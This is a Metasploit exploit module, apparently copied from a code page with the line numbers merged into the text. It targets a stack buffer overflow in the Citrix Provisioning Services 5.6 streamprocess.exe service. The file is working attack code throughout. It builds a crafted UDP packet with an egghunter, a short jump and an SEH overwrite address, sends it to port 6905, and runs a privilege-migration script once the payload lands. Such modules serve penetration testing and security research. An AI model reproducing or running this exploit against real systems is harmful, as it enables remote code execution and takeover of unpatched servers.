Path: blob/master/modules/exploits/windows/misc/citrix_streamprocess.rb
19664 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Udp9include Msf::Exploit::Remote::Egghunter1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Citrix Provisioning Services 5.6 streamprocess.exe Buffer Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in Citrix Provisioning Services 5.6.18By sending a specially crafted packet to the Provisioning Services server, a fixed19length buffer on the stack can be overflowed and arbitrary code can be executed.20},21'Author' => 'mog',22'License' => MSF_LICENSE,23'References' => [24[ 'OSVDB', '70597'],25[ 'ZDI', '11-023' ],26[ 'URL', 'http://web.archive.org/web/20110123164820/http://secunia.com:80/advisories/42954/' ],27[ 'URL', 'http://support.citrix.com/article/CTX127149' ],28],29'DefaultOptions' => {30# best at delaying/preventing target crashing post-exploit31'EXITFUNC' => 'process',32'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',33},34'Payload' => {35'BadChars' => "\x00", # Only "\x00\x00" breaks the overflow, but this is safer36},37'Platform' => 'win',38'Targets' => [39# pop/pop/ret in streamprocess.exe40# Service runs and automatically shuts down in Win 741[ 'Windows XP SP3 / Windows Server 2003 SP2 / Windows Vista', { 'Ret' => 0x00423d32 } ],42],43'Privileged' => true,44'DefaultTarget' => 0,45'DisclosureDate' => '2011-01-20',46'Notes' => {47'Reliability' => UNKNOWN_RELIABILITY,48'Stability' => UNKNOWN_STABILITY,49'SideEffects' => UNKNOWN_SIDE_EFFECTS50}51)52)5354register_options([Opt::RPORT(6905)])55end5657def exploit58eggoptions =59{60:checksum => true,61:eggtag => 'W00t',62}63hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)6465sploit = "\x10\x00\x02\x40" # message type66sploit << rand_text_alpha_upper(30)67sploit << "\x00\x01\x00\x00" # length field68sploit << rand_text_alpha_upper(400)69sploit << hunter70sploit << rand_text_alpha_upper(64 - hunter.length)7172sploit << "\xEB\xBE" # Jump back 66 bytes to hunter because there's73sploit << rand_text_alpha_upper(2) # only 24 bytes of cyclic copy after ret74sploit << [target.ret].pack('V') # SE handler7576sploit << rand_text_alpha_upper(50) # Need >= 24 bytes to keep the tag out of the stack77sploit << egg # Payload has a whole page to itself7879print_status("Trying target #{target.name}...")8081connect_udp82udp_sock.put(sploit)83print_status("Exploit sent, wait for egghunter.")84select(nil, nil, nil, 4) # takes about 8 seconds in tests8586handler(udp_sock)87disconnect_udp88end89end909192